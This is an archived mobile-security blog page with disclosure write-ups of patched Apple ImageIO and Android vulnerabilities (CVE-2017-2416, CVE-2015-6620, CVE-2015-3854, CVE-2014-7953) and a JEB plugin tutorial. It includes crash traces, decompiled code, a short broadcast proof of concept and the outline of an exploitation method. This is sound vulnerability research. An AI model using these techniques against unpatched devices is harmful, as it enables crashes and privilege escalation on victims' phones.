分类目录归档:mobile security

CVE-2017-2416 GIF表情引发的远程代码执行

ImageIO
适用于:iPhone 5 及更新机型、iPad 第 4 代及更新机型、iPod touch 第 6 代及更新机型
影响:处理恶意制作的图像可能会导致任意代码执行
说明:内存损坏问题已通过改进输入验证得到解决。
CVE-2017-2416:腾讯科恩实验室的 @flanker_hqd

(For English version see https://blog.flanker017.me/cve-2017-2416-gif-remote-exec/)

Abstract

前段时间偶然发现了一个ImageIO.framework中的图像解析漏洞,通过发送这个恶意图片,可以在任何有图片显示功能的应用中直接触发该漏洞,特别是各种IM应用(例如iMessage, Telegram, Slack, iMessage和国产流行IM,以及邮件应用例如Mail, Outlook, Inbox, Gmail,还有一些想做IM的金融应用例如alipay等),导致应用崩溃。在精心布置的内存布局下还有远程代码执行的可能。

让问题变得更蛋疼的是,很多客户端通常会在启动的时候再去尝试恢复加载之前的记录,也包括图片,这导致每次启动的时候该漏洞都会被触发,自动地成为了一个可持续的漏洞 – -b 例如iMessage和Mail即是如此。通过iMessage给一个没有升级到10.12.4的人发送攻击图片,其iMessage就再也打不开了。

DEMO videos

第一个视频展示了发送一条恶意imessage就导致对方崩溃的过程

然后被攻击的设备就再也打不开imessage了

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
    0x7fff9557f1b8 <+80>: xor    eax, eax

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

在苹果平台上,基本所有的图像解析功能最后都会调用[NSImage _initWithData:fileType:hfsType:], 随后IIOImageSource将图像的解析根据图像头特征分配到对应的plugin中。注意这里并不是基于文件扩展名做的判断,所以后续我们可以通过这个特性绕过过滤实现利用。

漏洞样例图片

如果把它拖动到任意macos/iOS app中的时候崩溃了,那么你的系统受该漏洞影响,赶快升级吧。 测试样例文件下载:Sample PNG Sample GIF 仅供自测使用,请勿用于非法用途例如发送给他人。

漏洞分析

漏洞的一个源头在GIFReadPlugin::init函数中,观察如下反汇编代码:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }

__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

一个攻击者可以构造负数的高度和长度,bypass掉对filesize的比较,造成后续内存越界访问。一般来讲攻击者可以通过手动构造图片输入流/hook进行发送,或者通过app服务自身提供的web服务来进行发送。前面提到过ImageIO解析图片的时候并不是通过判断扩展名来进行的,通过这个特性我们可以同样bypass一些web图片上传界面的过滤,将恶意图片成功发送到对方设备上,粗发漏洞。

相对来讲稍微令人诧异的是苹果的修复。补丁并没有打在size比较这里,而是打在了IIOReadPlugin这里。在补丁之前,IIOReadPlugin的关键代码如下所示:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5

    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }

在10.12.4中,if分支语句变成了如下所示:

  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

IIOImageReadSession的使用在这里被移除了。这是否从根源上解决了问题?让我们拭目以待。

对开发者和用户的建议

对于想自行防御这个问题的开发者来说(毕竟有很多用户没有升级到最新版,锅还是会被他们扣在开发者头上),我建议在图片显示前先自行检查下GIF宽度和高度。

对于终端用户来讲,当然升级系统是最好的办法了。

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/zh-cn/HT207617
  • 2017.4.6 Public disclosure

Some examples of kernel infoleak bugs on Android

Recently as KASLR is slowly adopted into Android and because of the requirements of exploitation stability of previous bugs, kernel infoleak bugs are becoming more and more important. Here I want to explain two infoleak bugs on Android, one found by me and is fixed now, and other one is a known and fixed bug but very useful as it exists on all android platforms.

继续阅读

ANDROIDID-24123723 (CVE-2015-6620) POC and writeup

github link at https://github.com/flankerhqd/CVE-2015-6620-POC

CVE-2015-6620-POC-1

POC for one bug in CVE-2015-6620-1 (ANDROIDID-24123723), AMessage unmarshal arbitrary write. The two bugs are merged to one CVE, and here is POC for one of them.

Explaination

533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534    int32_t what = parcel.readInt32();
535    sp<AMessage> msg = new AMessage(what);
536
537    msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems can be set by attacker
538    for (size_t i = 0; i < msg->mNumItems; ++i) {
539        Item *item = &msg->mItems[i];
540
541        const char *name = parcel.readCString();
542        item->setName(name, strlen(name));
543        item->mType = static_cast<Type>(parcel.readInt32());
544
545        switch (item->mType) {
547            {
548                item->u.int32Value = parcel.readInt32();//overwrite out-of-bound
549                break;
550            }

65 void AMessage::clear() {
66    for (size_t i = 0; i < mNumItems; ++i) {
67        Item *item = &mItems[i];
68        delete[] item->mName; //maybe freeing the wrong pointer if i ran out-of-bound
69        item->mName = NULL;
70        freeItemValue(item);
71    }
72    mNumItems = 0;
73}

The msg->mItems is an array of fixed size kMaxNumItems=64, however when AMessage is unmarshalled, the loop counter can be set far beyond this limit, thus lead to memory overwrite or arbitrary freeing, then memory corruption.

Then we need to find a binder interface that will unmarshal the AMessage and can be called by unprivileged application. Through searching I found that the IStreamListener->issueCommand is a callback that accepts transaction from normal client, then processed at the mediaserver side. And it will construct AMessage from input parcel.

To get an IStreamListener, one way is create a BnStreamSource and provide to MediaPlayer->setDataSource, then when playing MediaPlayer will call the setListener method of your BnStreamSource Implementation, providing the client an IStreamListener and communicate control params via AMessage. So, we provide our fake AMessage here. Boom!

Test method:

Build the POC with name stream, then ran with adb shell stream ts-file-name. I use a TS media file to trigger the binder callback for simplicity, but there should be better options.

Sample crash:

F/libc    (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG   (  355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG   (  355): Revision: '33696'
I/DEBUG   (  355): ABI: 'arm'
W/NativeCrashListener(  839): Couldn't find ProcessRecord for pid 17405
I/DEBUG   (  355): pid: 17405, tid: 17511, name: streaming  >>> /system/bin/mediaserver <<<
E/DEBUG   (  355): AM write failure (32 / Broken pipe)
I/DEBUG   (  355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG   (  355):     r0 29685000  r1 d6d5d4d9  r2 b6802e74  r3 fff29685
I/DEBUG   (  355):     r4 b6800000  r5 000003df  r6 b6802e8c  r7 c81fff19
I/DEBUG   (  355):     r8 b6be24b8  r9 000003e2  sl b380bbac  fp b6e65fd8
I/DEBUG   (  355):     ip 0000000c  sp b380bac0  lr b6e31b3d  pc b6e31af6  cpsr 200f0030
I/DEBUG   (  355): 
I/DEBUG   (  355): backtrace:
I/DEBUG   (  355):     #00 pc 00041af6  /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG   (  355):     #01 pc 00041b39  /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG   (  355):     #02 pc 000498b3  /system/lib/libc.so (ifree+462)
I/DEBUG   (  355):     #03 pc 00012caf  /system/lib/libc.so (free+10)
I/DEBUG   (  355):     #04 pc 0000c943  /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG   (  355):     #05 pc 0000c973  /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG   (  355):     #06 pc 0000c98d  /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG   (  355):     #07 pc 0000ec55  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG   (  355):     #08 pc 0003a679  /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG   (  355):     #09 pc 0005bbeb  /system/lib/libmediaplayerservice.so
I/DEBUG   (  355):     #10 pc 0005be71  /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG   (  355):     #11 pc 000580fb  /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG   (  355):     #12 pc 00058271  /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG   (  355):     #13 pc 0000c4c3  /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG   (  355):     #14 pc 0000be45  /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG   (  355):     #15 pc 000104d5  /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG   (  355):     #16 pc 00010045  /system/lib/libutils.so
I/DEBUG   (  355):     #17 pc 00016baf  /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG   (  355):     #18 pc 00014af3  /system/lib/libc.so (__start_thread+6)
I/DEBUG   (  355): 
I/DEBUG   (  355): Tombstone written to: /data/tombstones/tombstone_04

Fuzzing binder for fun and profit

这是11.20日我在京东沙龙演讲的ppt, 讲述了binder的基本结构和我们发现的几个漏洞的利用方式. 由于讲的0day内容google还没有公开补丁,故这个公开下载的ppt马赛克了这部分内容. ppt链接在 http://tool.flanker017.me/papers/fuzzing-binder-for-fun-for-profit-sharing.pdf

Series of vulnerabilities in system_server and mediaserver

CVE-2015-3854 ANDROID-20918350
CVE-2015-3855 ANDROID-20917238
CVE-2015-3856 ANDROID-20917373

Since those are posted prior to Android Security Bug Bounty Program launch, I’m posting to fulldisclosure for the record.

cveold

Details

A permission leakage exists in Android 5.x that enables a malicious application to acquire the system-level protected permission of DEVICE_POWER.

There exists a permission leakage in packages/SystemUI/src/com/android/systemui/power/PowerNotificationWarnings.java, An attacker app without any permission can turn off battery save mode (which should be guarded by DEVICE_POWER permission, which is a system permission, lead to permission leakage), dismiss low battery notification.

Analysis

The PowerNotificationWarnings registered a dynamic receiver without permission guard, listening for the following actions:

  • PNW.batterySettings
  • PNW.startSaver
  • PNW.stopSaver
  • PNW.dismissedWarning

The PNW.stopSaver will call setSaverMode(false), thus call mPowerMan.setPowerSaveMode(false), which finally calls PowerManager.setPowerSaveMode(false).

 (code of PowerNotificationWarnings.java) private final class Receiver extends BroadcastReceiver {

    public void init() {
        IntentFilter filter = new IntentFilter();
        filter.addAction(ACTION_SHOW_BATTERY_SETTINGS);
        filter.addAction(ACTION_START_SAVER);
        filter.addAction(ACTION_STOP_SAVER);
        filter.addAction(ACTION_DISMISSED_WARNING);
        mContext.registerReceiverAsUser(this, UserHandle.ALL, filter, null, mHandler);
    }


@Override public void onReceive(Context context, Intent intent) { 
final String action = intent.getAction(); Slog.i(TAG, "Received " + action); 
if (action.equals(ACTION_SHOW_BATTERY_SETTINGS)) { 
    dismissLowBatteryNotification(); mContext.startActivityAsUser(mOpenBatterySettings, UserHandle.CURRENT); } 
else if (action.equals(ACTION_START_SAVER)) { dismissLowBatteryNotification(); showStartSaverConfirmation(); } 
else if (action.equals(ACTION_STOP_SAVER)) { dismissSaverNotification(); 
        dismissLowBatteryNotification(); 
        setSaverMode(false);//PERMISSION LEAK HERE! 
}
else if (action.equals(ACTION_DISMISSED_WARNING))
{ dismissLowBatteryWarning(); } }

An ordinary app cannot directly call this method because this API call is guarded by system permission DEVICE_POWER, however by sending a broadcast with action “PNW.stopSaver”, it can trigger this API call on behave of SystemUI, thus stops battery saver without user action and awareness.

Tested on Nexus 6/Nexus 7 (5.1.1)

POC code(do not require any permission)

    Intent intent = new Intent();
    intent.setAction("PNW.stopSaver");
    sendBroadcast(intent);

Possible mitigations

Use a local broadcast mechanism, or use permission to guide the dynamic receiver.

Official fixes:

fixed in https://android.googlesource.com/platform/frameworks/base/+/05e0705177d2078fa9f940ce6df723312cfab976

Report timeline

  • 2015.5.6 Initial report to security@android.com
  • 2015.5.8 Android Security Team acks and assigned ANDROID-20918350
  • 2015.6.1 The bug is fixed in Android internal branch
  • 2015.7.24 CVE Requested, assigned CVE-2015-3854
  • 2016.5.26 Public Disclosure

Advanced Android Application Analysis Series – JEB API Manual and Plugin Writing

Android应用分析进阶教程之一- 初识JEBAPI

还在对着smali和jdgui抓耳挠腮grep来grep去吗?本系列教程将围绕Soot和JEB,讲述Android应用的进阶分析,感受鸟枪换炮的快感.

JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.本系列文章的前几篇将对JEB的API使用进行介绍,并实战如何利用开发者留下的蛛丝马迹去反混淆.先来看看我们最终编写的这个自动化反混淆插件实例的效果:

反混淆前: before-deobfus-1 before-deobfus-2 反混淆后: after-deobfus-1

after-deobfus-2 可以看到很多类名和field名都被恢复出来了. 读者朋友肯定会好奇这是如何做到的, 那我们首先来看下JEB提供API的结构:

JEB AST API结构

JEB的AST与Java的AST稍有不同,但大体还是很相似的,只是做了些简化.所有的AST Element实现jeb.api.ast.IElement,要么继承于jeb.api.ast.NonStatement,要么继承于jeb.api.ast.Statement.他们的关系如下图所示: ast-1

IElement定义了getSubElements,但不同类型的实现和返回结果也不同,例如对Method进行getSubElements调用的返回会是函数的参数定义语句和函数体block,而IfStmt会返回判断使用的Predicate和每一个if/else/ifelse语句块.而一个Assignment语句则会返回左右IExpression操作数,以及Operator操作符.具体编写脚本中我们通常并不使用这个函数,而根据具体类型定义的更细致的函数,例如Assignment提供的getLeftgetRight.

以下面的函数为例,我们来分析它具体由哪些AST元素组成.

boolean isZtz162(Ztz ztz) 
{ 
boolean bool = true; 
Redrain redrain = Redrain.getInstance("AnAn");                 if(redrain.canShoot()) 
{ 
redrain.shoot(163); 
if(ztz.isDead()) { bool = false; } 
}
 else if(ztz.height + Integer.parseInt(ztz.shoe) > 162)
 { bool = false; }
 return bool;
}

首先来看下NonStatement

NonStatement

在文档中, NonStatement的描述是Base class for AST elements that do not represent Statements. ,即所有不是Statement的AST结构继承于NonStatement,如下图所示: ast-2

NonStatementExpression的区别在于,NonStatement包含了一些高阶结构,例如jeb.api.ast.Class, jeb.api.ast.Method这些并不会出现在语句中的AST结构体,他们分别代表一个Class结构和Method结构,注意不要与反射语句中使用的Class和Method混淆.

Statement

Statement顾名思义就代表了一个语句,但值得注意的是这里的语句并不代表单个语句,继承于CompoundStatement中也可能包含其他的Statement.例如下面这段代码:

if(ztz.isDead())//redundant statement to demonstrate if-else { return false; }
else{ return true; }

这事实上是一整个继承于CompoundIfStm,也就是Statement.

Statement的继承关系图如下图所示, ast-3

CompoundStatement是最基本的语句结构,它的子节点只会由Expression构成而不会包含block. 例如Assignment,可以通过getLeftgetRight调用获得左右两边的操作对象,分别为ILeftExpressionIExpression.ILeftExpression代表可以做左值的Expression,例如变量.而常量显然不实现ILeftExpression接口

Compound

Compound代表多个语句集合的语法块集合,每一个语法块以Block(也是Compound的子类)呈现,通过getBlocks调用获得.所有分支语句均继承Compound,如下图所示: ast-4

在上面提到的例子中,IfStmt就是一个Compound,我们通过getBranchPredicate(idx)获取Predict,也就是ztz.isDead()这个Expression,而这个Expression真正的类型是子类Call.我们可以通过getBranchBody(idx)获取if和if-else中的Block,通过getDefaultBlock获取else的Block

IExpression

IExpression代表了最基本的AST节点,其实现关系如下图: ast-5

IExpression接口的实现者Expression类代表了算术和逻辑运算的语句片段,例如a+b, “162” + ztz.toString(), !ztz, redrain*(ztz-162)等等,同时Predicate类是Expression类的直接子类,譬如在if(ztz162)中,该语句的Predicate左值为ztz162这个identifier,右值为null.

ztz.test(1) + ”height" + 162这个Expression为例,其结构组成和各节点类型如下: jeb-expression-chart 值得注意的有如下几点: – Expression是从右到左的结构 – Call没有提供获取caller的API,不过可以通过getSubElements()获取,返回顺序为 – callee method – calling instance (if instance call) – calling arguments, one by one

InstanceField, StaticField和Field

三者的关系如下图所示: 1434640610408

InstanceFieldStaticField包含Field. InstanceField通过getInstance调用获取一个IExpression,也就是Field的container. Field本身是Class的元素,而InstanceFieldStaticField则是它的具体实例化.

实例Method分析

以我们上面提到的isZtz162函数为例,它的AST结构如下:

  • jeb.api.ast.Method (getName() == “isZtz162”) => getBody()
    • Block => block.get(i) //遍历block中的语句
      • Assignment “boolean bool = true” => getSubElements
        • Definition “boolean bool”
          • Identifier “bool”
        • Constant “true”
      • Assignment “Redrain redrain = Redrain.getInstance(“AnAn”);” => getSubElements
        • Definition => getSubElements (注意它是父assignment的getLeft返回结果(左值))
          • Identifier “redrain”
        • Call “Redrain.getInstance(“AnAn)”” (注意它是父assignment的getRight返回结果(右值))
          • …(omit)
      • IfStmt (Compound) => getBlocks()
        • Block (if block) => block.get(i) 遍历block中的语句
          • Call “redrain.shoot(163);”
          • IfStmt (Compound)
            • …omit
        • Block (elseif block) => block.get(i) 遍历block中的语句
          • Assignment “bool = false'”
          • ..omit

可以通过如下代码来递归打印一个Method中的各个Element: class test(IScript):

def run(self, j):
    self.instance = j
    sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
    currentMethod = self.instance.getDecompiledMethodTree(sig)
    self.instance.print("scanning method: " + currentMethod.getSignature())

    body = currentMethod.getBody()
    self.instance.print(repr(body))
    for i in range(body.size()):
        self.viewElement(body.get(i),1)

def viewElement(self, element, depth):
    self.instance.print("    "*depth+repr(element))
    for sub in element.getSubElements():
        self.viewElement(sub, depth+1)

输出结果如下:

jeb.api.ast.Block@5909b311
    jeb.api.ast.Assignment@bcb4ec2
    jeb.api.ast.Definition@66afd874
        jeb.api.ast.Identifier@38ffa6bd
    jeb.api.ast.Constant@181bdf87
    jeb.api.ast.Assignment@4df0246e
    jeb.api.ast.Definition@50e7d9bb
        jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Call@6e8ebb23
        jeb.api.ast.Method@5ca02f89
            jeb.api.ast.Definition@1890fae1
                jeb.api.ast.Identifier@5646d660
            jeb.api.ast.Block@44a464e0
        jeb.api.ast.Constant@4dad155
    jeb.api.ast.IfStm@298ea172
    jeb.api.ast.Predicate@530958ae
        jeb.api.ast.Call@a9d3219
            jeb.api.ast.Method@56440cc0
                jeb.api.ast.Definition@da13d7f
                    jeb.api.ast.Identifier@54cc63d6
                jeb.api.ast.Block@36aea218
            jeb.api.ast.Identifier@2587ad7c
    jeb.api.ast.Predicate@313f1b4
        jeb.api.ast.Expression@12616200
            jeb.api.ast.InstanceField@3768f76d
                jeb.api.ast.Identifier@4c4c3186
                jeb.api.ast.Field@198ed96b
            jeb.api.ast.Call@71640ce8
                jeb.api.ast.Method@5f8b8d80
                jeb.api.ast.InstanceField@42f6ff81
                    jeb.api.ast.Identifier@4c4c3186
                    jeb.api.ast.Field@6600907f
        jeb.api.ast.Constant@2f0eb62a
    jeb.api.ast.Block@6ed99788
        jeb.api.ast.Call@f6b9a93
            jeb.api.ast.Method@617130cd
                jeb.api.ast.Definition@4e3b14b5
                    jeb.api.ast.Identifier@8cc9f33
                jeb.api.ast.Definition@31e7d1c8
                    jeb.api.ast.Identifier@6a7dbb10
                jeb.api.ast.Block@64844e0e
            jeb.api.ast.Identifier@2587ad7c
            jeb.api.ast.Constant@2a20acb0
        jeb.api.ast.IfStm@47296c6b
            jeb.api.ast.Predicate@708d094c
                jeb.api.ast.Call@3b5d964e
                    jeb.api.ast.Method@7d36f954
                        jeb.api.ast.Definition@242b3a05
                            jeb.api.ast.Identifier@11ee30d0
                        jeb.api.ast.Block@2cc6b0e2
                    jeb.api.ast.Identifier@4c4c3186
            jeb.api.ast.Block@2886dc65
                jeb.api.ast.Assignment@2def7fac
                    jeb.api.ast.Identifier@38ffa6bd
                    jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Block@136fa72
        jeb.api.ast.Assignment@407452fd
            jeb.api.ast.Identifier@38ffa6bd
            jeb.api.ast.Constant@46a70cc3
    jeb.api.ast.Return@14f4811a
    jeb.api.ast.Identifier@38ffa6bd

对AST结构的分析就到这里,本文选取了几种最典型的做了讲解.此外JEB还提供了jeb.api.dex,提供了对dex文件的操作API.由于这方面资料比较多,这里就先不赘述了.

实例分析之开发环境配置

JEB原生支持Java和Python两种语言进行开发,后者的支持是通过Jython实现的.这里简便起见我们的例子均以Python为例.个人建议想使用前者的话最好使用Scala,否则Java本身实在太罗嗦了.

Java

在eclipse中配置好classpath中的library指向bin/jeb.jar,同时将javadoc路径指向jeb/doc/apidoc.zip即可.

1434639993696

1434639954618

1434639823928

1434639770823

Python

Python环境配置相对麻烦点,因为JEB并没有提供相对应的skeleton,导致Python的IDE中默认没有代码补全,需要自行配置.笔者使用了PyCharm的JythonHelper插件,可以帮助生成skeleton从而有基本的代码补全.

配置好环境后,我们来编写一个最简单的插件:输出光标所在位置的method signature,代码如下所示:

from jeb.api import IScript
from jeb.api.ui import View
class test(IScript):

    def run(self, j):
        self.instance = j
        sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
        currentMethod = self.instance.getDecompiledMethodTree(sig)
        self.instance.print("scanning method: " + currentMethod.getSignature())

保存为test.py,点击File->Run Script->test.py, JEB就会在下面的console中输出当前光标所在函数的signature.

总结

本文介绍了JEB Java AST API的基本知识和插件编写入门,同时也可以作为一个APIDoc的补充参考.在下一篇文章中我们将会根据实例讲解如何编写高级的更复杂的插件. 源代码和测试样例在https://github.com/flankerhqd/jebPlugins可以找到。

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

ADB backupAgent 提权漏洞分析 (CVE-2014-7953) 注:该文也已发表在drops.wooyun.org. pdf版可见 http://tool.flanker017.me/papers/cve-2014-7953.pdf

摘要

CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。

背景介绍

BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。

当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。

在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。

漏洞成因

在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:

// Cause the target app to be launched if necessary and its backup agent
12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the
12820    // activity manager to announce its creation.
12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825        synchronized(this) {
/*...*/
12833            // Backup agent is now in use, its package can't be stopped.
12834            try {
12835                AppGlobals.getPackageManager().setPackageStoppedState(
12836                        app.packageName, false, UserHandle.getUserId(app.uid));
12837            } catch (RemoteException e) {
12838            } catch (IllegalArgumentException e) {
12839                Slog.w(TAG, "Failed trying to unstop package "
12840                        + app.packageName + ": " + e);
12841            }
12842
12843            BackupRecord r = new BackupRecord(ss, app, backupMode);
12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845                    ? new ComponentName(app.packageName, app.backupAgentName)
12846                    : new ComponentName("android", "FullBackupAgent");
12847            // startProcessLocked() returns existing proc's record if it's already running
12848            ProcessRecord proc = startProcessLocked(app.processName, app,
12849                    false, 0, "backup", hostingName, false, false, false);
12850            if (proc == null) {
12851                Slog.e(TAG, "Unable to start backup agent process " + r);
12852                return false;
12853            }
12854
12855            r.app = proc;
12856            mBackupTarget = r;
12857            mBackupAppName = app.packageName;
12858
12859            // Try not to kill the process during backup
12860            updateOomAdjLocked(proc);
12861
12862            // If the process is already attached, schedule the creation of the backup agent now.
12863            // If it is not yet live, this will be done when it attaches to the framework.
12864            if (proc.thread != null) {
12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866                try {
12867                    proc.thread.scheduleCreateBackupAgent(app,
12868                            compatibilityInfoForPackageLocked(app), backupMode);
12869                } catch (RemoteException e) {
12870                    // Will time out on the backup manager side
12871                }
12872            } else {
12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874            }
12875            // Invariants: at this point, the target app process exists and the application
12876            // is either already running or in the process of coming up.  mBackupTarget and
12877            // mBackupAppName describe the app, so that when it binds back to the AM we
12878            // know that it's scheduled for a backup-agent operation.
12879        }
12880
12881        return true;
12882    }

ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。

而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。

漏洞利用

